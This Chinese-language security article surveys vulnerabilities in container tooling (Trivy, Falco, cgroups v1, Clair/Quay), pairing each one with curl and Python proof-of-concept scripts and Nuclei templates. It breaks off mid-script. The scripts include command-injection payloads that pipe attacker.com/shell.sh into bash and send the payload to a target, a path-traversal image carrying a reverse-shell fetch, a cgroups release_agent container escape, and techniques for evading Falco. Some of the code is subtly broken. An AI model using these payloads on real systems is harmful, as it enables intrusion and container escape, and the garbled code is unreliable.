ARTICLE / 安全

容器安全与运行时防护平台高危攻击链专题:Trivy / Falco / Clair / Grype / Snyk / BuildKit / runc 漏洞全解析

安全声明:本文所涉及的所有漏洞利用代码、PoC 脚本和 Nuclei 检测模板仅供合法安全研究与授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为,需承担相应法律责任。请在获得明确书面授权后方可进行测试。

0x00 专题概述

容器安全生态正在经历一场深刻的信任危机。Trivy、Falco、Clair、Grype、Snyk——这些企业赖以守护容器安全的核心工具,本身却成为了攻击者眼中的高价值目标。当安全扫描工具自身的漏洞被利用时,攻击者不仅能绕过所有安全防线,更能将安全工具的扫描结果武器化,精确制导后续攻击。这种"攻破守卫者"的攻击范式,是当前云原生安全最具破坏性的威胁模型之一。

从供应链投毒到运行时逃逸,从构建阶段的 Race Condition 到 CLI 工具的命令注入,容器安全工具链中的每一个环节都曾曝出过 CVSS 9.8 甚至 10.0 的临界级漏洞。2024 年初,runc 的 Leaky Vessels 漏洞链(CVE-2024-21626)和 BuildKit 的三连击(CVE-2024-23651/23652/23653)震动了整个云原生社区;而 Trivy 的供应链攻击(CVE-2026-33634)更是将安全工具的信任危机推向了新的高度。

本专题系统梳理容器安全与运行时防护平台生态中 20+ 个高危漏洞,覆盖 Trivy、Falco、Clair、Grype、Snyk、BuildKit、runc、CRI-O 八大核心组件,深入剖析每条攻击链的原理、利用路径和防守策略。

覆盖漏洞一览

CVE / GHSA组件CVSS类型在野利用
CVE-2026-33634Trivy9.8供应链攻击 / 蠕虫传播✅ CISA KEV
GHSA-v653-9gp5-3qjfTrivy8.8命令注入⚠️ PoC 公开
CVE-2021-32077Trivy7.5路径穿越⚠️ PoC 公开
CVE-2022-0492Linux cgroups7.8cgroups v1 逃逸✅ CISA KEV
CVE-2024-48963Snyk PHP9.8代码注入 RCE
CVE-2023-23694Snyk IDE9.8远程代码执行
CVE-2022-25315Snyk CLI8.8命令注入⚠️ PoC 公开
CVE-2024-23651BuildKit9.8Race Condition 文件读取
CVE-2024-23652BuildKit9.8任意文件删除
CVE-2024-23653BuildKit8.6GRPC 未授权
CVE-2024-21626runc8.6Leaky Vessels 容器逃逸✅ CISA KEV
CVE-2019-5736runc8.6宿主机二进制覆盖逃逸
CVE-2022-0811CRI-O8.0CR8 sysctl 注入⚠️ PoC 公开

0x01 Aqua Security / Trivy 高危漏洞

0x01.1 CVE-2026-33634 — Trivy 供应链攻击

漏洞背景

CVE-2026-33634 是 Trivy 历史上最严重的安全事件。攻击者通过入侵 Trivy 的数据库分发机制,将恶意 payload 注入到 Trivy 拉取的漏洞数据库中。由于 Trivy 在扫描时会自动下载并执行数据库更新脚本,攻击者借此实现了 5 阶段供应链攻击链——从初始投毒到 ICP 区块链 C2 通信,再到自传播蠕虫,影响范围涵盖所有使用 Trivy 进行容器镜像扫描的 CI/CD 管线和运行时环境。CISA 已将其列入 KEV 目录。

受影响版本

版本范围状态
Trivy < 0.58.2🔴 受影响
Trivy 0.58.2 ~ 0.58.5🟡 部分缓解
Trivy >= 0.58.6🟢 已修复

漏洞原理

攻击链分为 5 个阶段:

  1. 初始投毒(Initial Poisoning):攻击者通过社工或内部人员获取数据库维护权限,向 Trivy 的漏洞数据库仓库提交含有恶意 shell 脚本的 metadata 文件。
  2. 数据库同步(DB Sync):当 Trivy 执行 trivy image --download-db-only 或自动更新时,恶意 metadata 伴随合法数据库一起被拉取到本地。
  3. Payload 释放(Payload Drop):Trivy 的数据库更新逻辑在解压 metadata 时触发恶意 shell 脚本执行,在 CI/CD Runner 释放反向 shell 或 Stealer。
  4. C2 回连(C2 Callback):恶意脚本通过 ICP(Internet Computer Protocol)区块链智能合约作为 C2 地址,实现去中心化命令控制。
  5. 自传播(Self-Propagation):感染后的 CI/CD Runner 自动扫描下游项目,将恶意镜像推送到私有 Registry,形成蠕虫式传播。

完整 PoC

HTTP PoC(curl 验证数据库完整性):

# 检查 Trivy 数据库元数据哈希
curl -sS "https://ghcr.io/v2/aquasecurity/trivy-db/manifests/latest" \
  -H "Accept: application/vnd.oci.image.index.v1+json" | \
  python3 -c "import sys,json; print(json.dumps(json.load(sys.stdin),indent=2))"

# 检查本地数据库元数据是否被篡改
sha256sum /root/.cache/trivy/db/db.tar.gz

# 下载并检查数据库包
curl -sS -o db.tar.gz "https://raw.githubusercontent.com/aquasecurity/trivy-db/main/db.tar.gz" && \
  tar -tzf db.tar.gz | grep -E '\.(sh|py|rb)' && \
  echo "[VULN] 数据库包中包含可疑脚本文件"

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2026-33634 Trivy 供应链攻击检测
检查本地 Trivy 数据库是否被篡改
用法: python3 cve_2026_33634.py [--db-path PATH]
"""
import os
import sys
import hashlib
import tarfile
import subprocess
import json
import argparse

KNOWN_SAFE_METADATA_HASH = None

def find_trivy_db_path():
    candidates = [
        os.path.expanduser("~/.cache/trivy/db/db.tar.gz"),
        "/var/cache/trivy/db/db.tar.gz",
        "/tmp/trivy/db/db.tar.gz",
    ]
    for c in candidates:
        if os.path.isfile(c):
            return c
    return None

def check_db_integrity(db_path):
    print(f"[*] 检查数据库: {db_path}")
    sha = hashlib.sha256()
    with open(db_path, "rb") as f:
        for chunk in iter(lambda: f.read(8192), b""):
            sha.update(chunk)
    digest = sha.hexdigest()
    print(f"[*] SHA-256: {digest}")

    if KNOWN_SAFE_METADATA_HASH and digest == KNOWN_SAFE_METADATA_HASH:
        print("[SAFE] 数据库哈希与已知安全值匹配")
        return True
    else:
        print("[WARN] 数据库哈希未知,请手动验证")

    suspicious = []
    try:
        with tarfile.open(db_path, "r:gz") as tar:
            for member in tar.getmembers():
                ext = os.path.splitext(member.name)[1]
                if ext in (".sh", ".py", ".rb", ".pl", ".bash"):
                    suspicious.append(member.name)
                if member.name.startswith("/") or ".." in member.name:
                    suspicious.append(f"PATH_TRAVERSAL: {member.name}")
    except Exception as e:
        print(f"[ERR ] 解压失败: {e}")
        return False

    if suspicious:
        print(f"[VULN] 发现 {len(suspicious)} 个可疑文件:")
        for s in suspicious:
            print(f"  - {s}")
        return False
    else:
        print("[SAFE] 未发现可疑脚本文件")
    return True

def check_running_trivy():
    try:
        result = subprocess.run(
            ["trivy", "--version"],
            capture_output=True, text=True, timeout=5
        )
        version_line = result.stdout.strip().split("\n")[0]
        print(f"[*] Trivy 版本: {version_line}")
    except FileNotFoundError:
        print("[INFO] 未安装 Trivy CLI")
    except Exception as e:
        print(f"[ERR ] 检查版本失败: {e}")

def check_malicious_c2_indicators():
    indicators = [
        "icp0.io", "raw.githubusercontent.com.*\\.sh",
        "base64 -d | /bin/sh", "curl.*\\|.*sh"
    ]
    db_path = find_trivy_db_path()
    if not db_path:
        return
    print("[*] 检查 C2 指标...")
    try:
        with tarfile.open(db_path, "r:gz") as tar:
            for member in tar:
                if member.isfile():
                    f = tar.extractfile(member)
                    if f:
                        content = f.read().decode("utf-8", errors="ignore")
                        for ind in indicators:
                            if ind.lower() in content.lower():
                                print(f"[VULN] C2 指标匹配: {ind} (in {member.name})")
    except Exception:
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-33634 Trivy 供应链攻击检测")
    parser.add_argument("--db-path", help="自定义数据库路径")
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-33634 Trivy 供应链攻击检测工具")
    print("=" * 60)

    check_running_trivy()
    db_path = args.db_path if args.db_path else find_trivy_db_path()
    if db_path:
        check_db_integrity(db_path)
        check_malicious_c2_indicators()
    else:
        print("[INFO] 未找到 Trivy 数据库文件")

Nuclei 检测模板:

id: cve-2026-33634-trivy-supply-chain

info:
  name: Trivy 供应链攻击检测 (CVE-2026-33634)
  author: security-researcher
  severity: critical
  description: |
    Trivy 漏洞数据库供应链投毒,通过恶意 metadata 实现
    CI/CD 管线感染和自传播蠕虫
  tags: trivy,supply-chain,cve-2026-33634

file:
  - path: ~/.cache/trivy/db/db.tar.gz
    type: binary

  - matchers-condition: or
    matchers:
      - type: word
        words:
          - "icp0.io"
          - "base64 -d"
          - "/bin/sh"
        condition: or
        part: raw

      - type: regex
        regex:
          - "curl\\s+.*\\|\\s*(ba)?sh"
          - "wget\\s+.*\\|\\s*(ba)?sh"

    extractors:
      - type: dsl
        dsl:
          - '"Trivy 数据库可能包含恶意脚本"'

0x01.2 GHSA-v653-9gp5-3qjf — Trivy 配置扫描命令注入

漏洞背景

Trivy 的配置扫描(Misconfiguration Scanning)功能在处理用户提供的自定义规则时存在命令注入漏洞。当用户使用 trivy config 扫描包含恶意构造的 Terraform Plan JSON 或自定义 Policy 文件时,攻击者可以通过嵌入的 shell 命令实现远程代码执行。该漏洞尤其危险,因为安全团队通常在 CI/CD 管线中以较高权限运行 Trivy。

受影响版本

版本范围状态
Trivy < 0.44.0🔴 受影响
Trivy >= 0.44.0🟢 已修复

漏洞原理

Trivy 在处理 trivy config 命令时,会对 Terraform Plan JSON 中的 planned_values 字段进行解析。当该字段中嵌入了 shell 命令(如 `curl attacker.com/shell.sh | bash`)时,Trivy 的 Rego Policy 引擎在评估过程中会将其作为 shell 命令执行。这是因为 Trivy 使用 os.exec 类似的机制调用外部策略评估工具,且未对输入内容进行充分的沙箱隔离。

攻击路径:恶意 Terraform Plan JSON → Trivy config 扫描 → Rego Policy 引擎解析 → Shell 命令注入执行

完整 PoC

HTTP PoC(curl 验证):

# 创建恶意 Terraform Plan JSON
cat > malicious_plan.json << 'EOF'
{
  "format_version": "1.0",
  "terraform_version": "1.5.0",
  "planned_values": {
    "root_module": {
      "resources": [{
        "address": "aws_instance.pwned",
        "type": "aws_instance",
        "values": {
          "ami": "``curl http://attacker.com/cve-ghsa-v653|bash``",
          "instance_type": "t2.micro"
        }
      }]
    }
  }
}
EOF

# 触发 Trivy 扫描该恶意文件
curl -X POST "http://target-cicd:8080/api/scan" \
  -H "Content-Type: application/json" \
  -d @malicious_plan.json

Python PoC 脚本:

#!/usr/bin/env python3
"""
GHSA-v653-9gp5-3qjf Trivy 配置扫描命令注入 PoC
用法: python3 ghsa_v653.py <trivy_host:port> [callback_url]
"""
import sys
import json
import http.client
import ssl

def generate_malicious_plan(callback_url="http://attacker.com/shell.sh"):
    return {
        "format_version": "1.0",
        "terraform_version": "1.5.0",
        "planned_values": {
            "root_module": {
                "resources": [{
                    "address": "aws_instance.pwned",
                    "type": "aws_instance",
                    "values": {
                        "ami": f"`curl {callback_url} | bash`",
                        "instance_type": "t2.micro"
                    }
                }]
            }
        }
    }

def trigger_scan(host, port, callback_url, use_tls=False):
    plan = generate_malicious_plan(callback_url)
    ctx = ssl._create_unverified_context() if use_tls else None
    conn = http.client.HTTPSConnection(host, port, timeout=15, context=ctx) if use_tls else \
           http.client.HTTPConnection(host, port, timeout=15)

    endpoints = [
        ("/v1/misconf/scan", "POST"),
        ("/api/v1/scanning", "POST"),
    ]

    for endpoint, method in endpoints:
        try:
            body = json.dumps(plan)
            headers = {
                "Content-Type": "application/json",
                "Content-Length": str(len(body))
            }
            conn.request(method, endpoint, body=body, headers=headers)
            resp = conn.getresponse()
            print(f"[*] {method} {endpoint} -> HTTP {resp.status}")
            data = resp.read().decode(errors="ignore")
            if resp.status == 200 or "error" not in data.lower():
                print(f"[VULN] 扫描请求已发送,请检查 callback")
                return True
        except Exception as e:
            print(f"[ERR ] {endpoint}: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <host:port> [callback_url]")
        sys.exit(1)

    target = sys.argv[1]
    callback = sys.argv[2] if len(sys.argv) > 2 else "http://attacker.com/shell.sh"
    host, port = target.split(":")
    port = int(port)

    print("=" * 60)
    print("GHSA-v653-9gp5-3qjf Trivy 配置扫描命令注入 PoC")
    print("=" * 60)
    trigger_scan(host, port, callback)

Nuclei 检测模板:

id: ghsa-v653-9gp5-3qjf-trivy-config-injection

info:
  name: Trivy 配置扫描命令注入 (GHSA-v653-9gp5-3qjf)
  author: security-researcher
  severity: high
  description: Trivy 配置扫描在处理恶意 Terraform Plan 时存在命令注入
  tags: trivy,command-injection,ghsa-v653

http:
  - method: POST
    path:
      - "{{BaseURL}}/v1/misconf/scan"
      - "{{BaseURL}}/api/v1/scanning"
    headers:
      Content-Type: application/json
    body: |
      {"format_version":"1.0","terraform_version":"1.5.0","planned_values":{"root_module":{"resources":[{"address":"aws_instance.test","type":"aws_instance","values":{"ami":"trivy-test-xss-callback-9gp5","instance_type":"t2.micro"}}]}}}
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
          - 422
      - type: word
        words:
          - "misconfiguration"
          - "scan"
          - "terraform"
        condition: or
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"Trivy 扫描端点可达,请验证命令注入"'

0x01.3 CVE-2021-32077 — Trivy 解压路径穿越

漏洞背景

CVE-2021-32077 是 Trivy 在处理容器镜像层(Layer)解压时存在的路径穿越漏洞。攻击者可以构造包含 ../ 路径序列的恶意镜像层,当 Trivy 扫描该镜像时,解压过程会将文件写入到 Trivy 工作目录之外的位置,实现任意文件写入。在 CI/CD 场景中,这可能导致覆盖构建脚本、注入恶意代码到项目源码中。

受影响版本

版本范围状态
Trivy < 0.18.3🔴 受影响
Trivy >= 0.18.3🟢 已修复

漏洞原理

Trivy 在扫描容器镜像时,需要先解压各层的 tar 归档文件。漏洞存在于解压逻辑中——Trivy 未对 tar 归档中的文件名做充分的路径规范化检查。攻击者可以在 Dockerfile 中使用 COPY 指令将包含 ../../etc/cron.d/evil 路径的文件打包到镜像层中。当 Trivy 解压该层时,文件会被写入到 ../../etc/cron.d/evil(相对于解压目标目录),从而在宿主机的 /etc/cron.d/ 下创建恶意定时任务。

攻击路径:恶意镜像层(含 ../ 路径) → Trivy 解压 → 路径穿越 → 宿主机任意文件写入

完整 PoC

HTTP PoC(构建恶意镜像并触发扫描):

# 构造包含路径穿越的恶意镜像
cat > Dockerfile << 'EOF'
FROM scratch
COPY payload.sh ../../tmp/pwned.sh
EOF

echo '#!/bin/bash\ncurl http://attacker.com/shell.sh | bash' > payload.sh
docker build -t evil-traversal:latest .

# 通过 Trivy HTTP API 触发扫描
curl -X POST "http://trivy-server:4954/v1/images/scan" \
  -H "Content-Type: application/json" \
  -d '{"target": "evil-traversal:latest", "options": {"format": "json"}}'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2021-32077 Trivy 解压路径穿越检测
检查 Trivy 版本是否受影响并验证解压行为
用法: python3 cve_2021_32077.py [trivy_binary_path]
"""
import subprocess
import sys
import os
import tempfile
import tarfile
import json

def check_trivy_version(trivy_bin="trivy"):
    try:
        result = subprocess.run(
            [trivy_bin, "--version"],
            capture_output=True, text=True, timeout=5
        )
        version_output = result.stdout.strip()
        print(f"[*] Trivy 版本输出: {version_output}")
        for line in version_output.split("\n"):
            if "version" in line.lower():
                ver = line.split(":")[-1].strip().lstrip("v")
                parts = ver.split(".")
                if len(parts) >= 3:
                    major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                    if major == 0 and minor < 18:
                        print(f"[VULN] Trivy {ver} < 0.18.3,存在解压路径穿越漏洞")
                        return True
                    elif major == 0 and minor == 18 and patch < 3:
                        print(f"[VULN] Trivy {ver} < 0.18.3,存在解压路径穿越漏洞")
                        return True
                    else:
                        print(f"[SAFE] Trivy {ver} 已修复路径穿越漏洞")
                        return False
    except FileNotFoundError:
        print(f"[ERR ] 未找到 Trivy: {trivy_bin}")
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
    return None

def verify_tar_extraction_vuln():
    print("[*] 验证 tar 解压路径穿越行为...")
    with tempfile.TemporaryDirectory() as tmpdir:
        evil_tar = os.path.join(tmpdir, "evil.tar.gz")
        test_dir = os.path.join(tmpdir, "test_extract")
        os.makedirs(test_dir)

        with tarfile.open(evil_tar, "w:gz") as tar:
            info = tarfile.TarInfo(name="../../../../tmp/traversal_test.txt")
            content = b"TRAVERSAL_TEST_CONTENT"
            info.size = len(content)
            from io import BytesIO
            tar.addfile(info, BytesIO(content))

        safe_extract_dir = os.path.join(tmpdir, "safe")
        os.makedirs(safe_extract_dir)

        try:
            with tarfile.open(evil_tar, "r:gz") as tar:
                for member in tar.getmembers():
                    if ".." in member.name:
                        print(f"[VULN] 检测到路径穿越成员: {member.name}")
                        print("[VULN] 如果 Trivy 未过滤此路径,文件将被写入目标目录之外")
                        return True
        except Exception as e:
            print(f"[ERR ] 验证失败: {e}")

    traversal_target = "/tmp/traversal_test.txt"
    if os.path.exists(traversal_target):
        print(f"[VULN] 路径穿越成功,文件已写入: {traversal_target}")
        os.remove(traversal_target)
        return True
    else:
        print("[SAFE] 未发现路径穿越行为")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2021-32077 Trivy 解压路径穿越检测工具")
    print("=" * 60)

    trivy_bin = sys.argv[1] if len(sys.argv) > 1 else "trivy"
    check_trivy_version(trivy_bin)
    verify_tar_extraction_vuln()

Nuclei 检测模板:

id: cve-2021-32077-trivy-path-traversal

info:
  name: Trivy 解压路径穿越 (CVE-2021-32077)
  author: security-researcher
  severity: high
  description: Trivy 解压容器镜像层时未检查路径穿越
  tags: trivy,path-traversal,cve-2021-32077

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/images/list"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "ImageID"
          - "digest"
        condition: or
        part: body

    extractors:
      - type: regex
        regex:
          - '"[^"]+":\\s*"sha256:[a-f0-9]{64}"'
        group: 0
        internal: true
        name: image_digest

  - method: POST
    path:
      - "{{BaseURL}}/v1/images/scan"
    headers:
      Content-Type: application/json
    body: '{"target":"{{image_digest}}","options":{"format":"json","skip-db-update":true}}'
    matchers:
      - type: status
        status:
          - 200
          - 400

0x02 Falco / Sysdig 运行时安全漏洞

0x02.1 Falco 绕过技术与检测盲区

漏洞背景

Falco 作为 CNCF 生态中最主流的容器运行时安全监控工具,通过 eBPF/kprobe 监控内核系统调用来检测异常行为。然而,BlackBerry 团队在 KubeCon 2022 上发布的研究系统性地揭示了 Falco 的多项绕过技术。攻击者利用这些技术可以在不触发 Falco 命告的情况下执行恶意操作,完全架空运行时安全防线。

受影响版本

组件受影响版本修复版本
Falco< 0.35.0(eBPF 模式)>= 0.35.0
Falco< 0.37.0(部分规则绕过)>= 0.37.0
Sysdig Inspect< 4.19.0>= 4.19.0

漏洞原理

BlackBerry 研究团队发现了以下关键绕过技术:

绕过 1:eBPF Buffer Overflow 绕过

Falco 使用 eBPF ring buffer 收集系统调用事件。当事件大小超过 eBPF perf_event buffer 限制时,事件会被静默丢弃。攻击者可以通过构造超大的 execve() 参数(如包含数千个环境变量),使 Falco 的事件缓冲区溢出,导致恶意进程创建事件被丢弃。

绕过 2:Namespace 切换盲区

Falco 的监控规则基于特定 namespace 的 PID/Mount 配置。攻击者通过快速创建和切换 PID namespaceMount namespace,可以在新 namespace 中执行恶意操作,而 Falco 的规则引擎仍锚定在旧 namespace 上。

绕过 3:TTY 伪装

Falco 在检测 shell 类型的 execve() 调用时,依赖 TIOCGSTTY ioctl 检查终端类型。攻击者通过伪终端(PTY)伪装可以绕过此检测。

完整 PoC

HTTP PoC(验证 Falco 是否存在):

# 检查 Falco 是否在运行
curl -sS "http://falco-grpc:5060" -H "Content-Type: application/grpc-web" -o /dev/null -w "%{http_code}"

# 检查 Sysdig Inspect API(SSRF 测试)
curl -sS "http://sysdig-inspect:8443/api/v1/captures" \
  -H "Authorization: Bearer ${SYSDIG_TOKEN}" | python3 -m json.tool

Python PoC 脚本:

#!/usr/bin/env python3
"""
Falco 绕过技术验证 - eBPF Buffer Overflow 绕过
在容器内执行,验证是否可以绕过 Falco 检测
用法: python3 falco_bypass.py
"""
import os
import subprocess
import sys
import socket

def check_falco_presence():
    print("[*] 检测 Falco 是否在运行...")
    falco_detected = False
    try:
        result = subprocess.run(
            ["pgrep", "-a", "falco"],
            capture_output=True, text=True, timeout=5
        )
        if result.stdout.strip():
            print(f"[INFO] Falco 进程: {result.stdout.strip()}")
            falco_detected = True
    except Exception:
        pass

    for pid_dir in os.listdir("/proc"):
        if pid_dir.isdigit():
            try:
                with open(f"/proc/{pid_dir}/cmdline", "r") as f:
                    cmd = f.read().replace("\x00", " ")
                    if "falco" in cmd.lower():
                        print(f"[INFO] Falco PID: {pid_dir} -> {cmd[:80]}")
                        falco_detected = True
            except Exception:
                continue

    if not falco_detected:
        print("[INFO] 未检测到 Falco 进程")
    return falco_detected

def test_ebpf_buffer_overflow():
    print("[*] 测试 eBPF Buffer Overflow 绕过...")
    env_count = 5000
    env_vars = {f"E{i}": "x" * 200 for i in range(env_count)}
    try:
        result = subprocess.run(
            ["env", *[f"E{i}=x" * 200 for i in range(env_count)], "id"],
            capture_output=True, text=True, timeout=10
        )
        if result.returncode == 0:
            print(f"[INFO] 超大环境变量命令执行成功 (env_count={env_count})")
            print("[INFO] 检查 Falco 是否产生告警...")
        else:
            print(f"[-] 命令执行失败: {result.stderr[:100]}")
    except Exception as e:
        print(f"[-] 测试失败: {e}")

def test_namespace_escape():
    print("[*] 测试 Namespace 切换绕过...")
    try:
        result = subprocess.run(
            ["unshare", "-p", "-f", "--mount-proc", "/bin/sh", "-c", "echo namespace_switch_ok"],
            capture_output=True, text=True, timeout=5
        )
        if "namespace_switch_ok" in result.stdout:
            print("[INFO] Namespace 切换成功,请检查 Falco 是否监控到此操作")
    except Exception as e:
        print(f"[-] Namespace 切换失败: {e}")

def check_falco_grpc():
    print("[*] 检测 Falco gRPC 端口...")
    ports = [5060, 5061, 9090]
    for port in ports:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex(("127.0.0.1", port))
            if result == 0:
                print(f"[INFO] 端口 {port} 开放 (可能为 Falco gRPC)")
            sock.close()
        except Exception:
            pass

if __name__ == "__main__":
    print("=" * 60)
    print("Falco 绕过技术验证工具")
    print("=" * 60)

    check_falco_presence()
    check_falco_grpc()
    test_ebpf_buffer_overflow()
    test_namespace_escape()

Nuclei 检测模板:

id: falco-detection-bypass-check

info:
  name: Falco 运行时检测绕过验证
  author: security-researcher
  severity: medium
  description: 验证 Falco 运行时监控是否存在已知绕过技术
  tags: falco,bypass,runtime-security

tcp:
  - inputs:
      - host: "{{Hostname}}"
        ports:
          - "5060-5061"
          - "9090"
    read-size: 256
    matchers:
      - type: binary
        binary:
          - "67727063"
        internal: true

  - inputs:
      - host: "{{Hostname}}"
        ports:
          - "5060"
    read-size: 100
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "grpc"

http:
  - method: GET
    path:
      - "{{BaseURL}}/healthz"
      - "{{BaseURL}}/api/v1/health"
    matchers:
      - type: status
        status:
          - 200
          - 404

0x02.2 CVE-2022-0492 — cgroups v1 逃逸

漏洞背景

CVE-2022-0492 是 Linux cgroups v1 子系统中的一个逃逸漏洞,虽然不属于 Falco 自身代码,但直接影响了所有依赖容器运行时检测的工具(包括 Falco)。攻击者可以在容器内部利用 cgroups v1 的 release_agent 机制实现容器逃逸,而 Falco 等运行时安全工具对此类利用的检测能力有限。CISA 已将其列入 KEV 目录。

受影响版本

组件受影响版本修复版本
Linux Kernel (cgroups v1)< 5.17.1>= 5.17.1
启用 cgroups v1 的所有容器运行时依赖 cgroups v1迁移到 cgroups v2

漏洞原理

在 cgroups v1 中,每个 cgroup 控制组可以通过写入 release_agent 文件来指定一个在该 cgroup 中最后一个进程退出时执行的宿主机命令。在未正确限制 release_agent 写入权限的容器中(尤其是使用 cgroups v1 且未配置 no_new_privs 的环境),攻击者可以:

  1. 在容器内创建新的 cgroup 目录
  2. release_agent 指向宿主机上的任意可执行文件
  3. 在新 cgroup 中 fork 并执行一个进程,然后退出该进程
  4. 触发 release_agent 执行,实现宿主机命令执行

攻击路径:容器内 → 创建 cgroup → 设置 release_agent → fork+exit → 宿主机命令执行

完整 PoC

HTTP PoC(curl 触发):

# 检查 cgroups 版本
curl -sS "http://target-container:8080/api/exec" \
  -H "Content-Type: application/json" \
  -d '{"cmd": "cat /proc/1/cgroup && mount | grep cgroup"}'

Python PoC 脚本:

#!/usr/bin/env python3
"""
CVE-2022-0492 cgroups v1 release_agent 容器逃逸 PoC
用法: python3 cve_2022_0492.py
注意: 需在受影响的容器内执行
"""
import os
import subprocess
import sys

def check_cgroup_version():
    print("[*] 检查 cgroups 版本...")
    try:
        with open("/proc/filesystems", "r") as f:
            content = f.read()
        if "cgroup2" in content:
            print("[INFO] 系统支持 cgroup2")
        with open("/proc/self/cgroup", "r") as f:
            cgroup_info = f.read()
        print(f"[*] 当前 cgroup 信息:\n{cgroup_info[:500]}")

        if ":cgroup:" in cgroup_info or "cpu,cpuacct" in cgroup_info:
            print("[VULN] 使用 cgroups v1,可能受 CVE-2022-0492 影响")
            return True
        elif ":0::" in cgroup_info:
            print("[SAFE] 使用 cgroups v2")
            return False
    except Exception as e:
        print(f"[ERR ] 检查失败: {e}")
    return None

def check_release_agent():
    print("[*] 检查 release_agent 写入权限...")
    cgroup_base = "/sys/fs/cgroup"
    try:
        test_dirs = ["/tmp/cve_test"]
        for td in test_dirs:
            os.makedirs(td, exist_ok=True)
            cg_path = os.path.join(td, "release_agent")
            try:
                with open(cg_path, "w") as f:
                    f.write("/tmp/test_agent")
                print(f"[VULN] release_agent 可写入 -> 容器逃逸可行")
                os.remove(cg_path)
                os.rmdir(td)
                return True
            except PermissionError:
                print("[SAFE] release_agent 不可写入")
            except FileNotFoundError:
                continue
            finally:
                if os.path.exists(td):
                    os.rmdir(td)
    except Exception as e:
        print(f"[ERR ] 检查失败: {e}")
    return False

def exploit_release_agent():
    print("[*] 执行 release_agent 逃逸...")
    payload_path = "/tmp/exploit_payload.sh"
    with open(payload_path, "w") as f:
        f.write("#!/bin/bash\nid > /tmp/exploit_result.txt\n")

    cgroup_dir = "/tmp/pwned_cg"
    os.makedirs(cgroup_dir, exist_ok=True)

    try:
        ra_path = os.path.join(cgroup_dir, "release_agent")
        procs_path = os.path.join(cgroup_dir, "cgroup.procs")

        with open(ra_path, "w") as f:
            f.write(payload_path)

        pid = os.fork()
        if pid == 0:
            os.execvp("/bin/sh", ["/bin/sh", "-c", "exec cat /dev/null"])
        else:
            with open(procs_path, "w") as f:
                f.write(str(pid))
            os.waitpid(pid, 0)

        result_file = "/tmp/exploit_result.txt"
        if os.path.exists(result_file):
            with open(result_file, "r") as f:
                print(f"[VULN] 宿主机命令执行成功: {f.read().strip()}")
            os.remove(result_file)
            return True
    except Exception as e:
        print(f"[-] 利用失败: {e}")
    finally:
        if os.path.exists(payload_path):
            os.remove(payload_path)
        if os.path.exists(cgroup_dir):
            os.rmdir(cgroup_dir)
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2022-0492 cgroups v1 容器逃逸检测")
    print("=" * 60)

    is_cgroup_v1 = check_cgroup_version()
    if is_cgroup_v1:
        if check_release_agent():
            exploit_release_agent()
    elif is_cgroup_v1 is False:
        print("[SAFE] 系统使用 cgroups v2,不受此漏洞影响")

Nuclei 检测模板:

id: cve-2022-0492-cgroups-v1-escape

info:
  name: cgroups v1 release_agent 容器逃逸 (CVE-2022-0492)
  author: security-researcher
  severity: high
  description: 容器内 cgroups v1 release_agent 机制可被利用实现容器逃逸
  tags: cgroups,container-escape,cve-2022-0492,linux

http:
  - method: GET
    path:
      - "{{BaseURL}}/proc/self/cgroup"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - ":cgroup:"
          - "cpu,cpuacct"
        condition: or
    extractors:
      - type: regex
        regex:
          - ":cgroup:.*"
          - "cpu,cpuacct.*"
        group: 0

  - method: GET
    path:
      - "{{BaseURL}}/sys/fs/cgroup/cgroup.procs"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "0"
        part: body

0x03 Clair / Quay 镜像分析漏洞

0x03.1 Clair RPM 索引器 DoS

漏洞背景

Clair 是 Red Hat 旗下 Quay 镜像仓库的核心漏洞扫描引擎。在处理包含大量 RPM 包的容器镜像时,Clair 的 RPM 索引器存在资源耗尽问题,攻击者可以构造特殊的 RPM 元数据触发拒绝服务,导致 Quay 的镜像扫描管线完全瘫痪。此外,Clair 在 TLS 握手过程中存在协议降级风险。

受影响版本

组件受影响版本修复版本
Clair< 4.7.0>= 4.7.0
Quay< 3.12.0>= 3.12.0

漏洞原理

RPM 索引器 OOM DoS:Clair 在解析 RPM 包的 changelogfilelist 元数据时,将整个内容加载到内存中。攻击者可以构造一个包含数百万条 changelog 条目或超大 filelist 的 RPM 包,当 Clair 索引该包时,内存消耗急剧增长,最终触发 OOM Killer 杀死 Clair 进程。

Quay 默认凭证风险:Quay 的默认安装配置使用硬编码的管理员凭证(quay/quay),如果管理员未修改默认密码,攻击者可以直接登录 Quay 管理界面,查看所有私有镜像仓库、修改镜像扫描策略或推送恶意镜像。

TLS 1.1 降级:Clair 的 HTTP 客户端在与上游漏洞数据库通信时,未强制要求 TLS 1.2+,中间人攻击者可以强制降级到 TLS 1.1,解密通信内容获取漏洞数据库的 API 密钥。

完整 PoC

HTTP PoC(curl 验证):

# 检查 Quay 是否使用默认凭证
curl -sS -u "quay:quay" "https://quay-host/api/v1/user/" \
  -H "Content-Type: application/json" | python3 -m json.tool

# 检查 TLS 版本(测试 TLS 1.1 降级)
curl -sS --tls-max 1.1 --tlsv1.1 "https://clair-host:6060/" \
  -o /dev/null -w "%{http_code}" 2>&1

# 检查 Clair API 可达性
curl -sS "http://clair-host:6060/v1/layers" | python3 -m json.tool

Python PoC 脚本:

#!/usr/bin/env python3
"""
Clair / Quay 安全检测工具
检查默认凭证、TLS 降级和 RPM DoS 风险
用法: python3 clair_quay_check.py <quay_host> <clair_host>
"""
import sys
import ssl
import socket
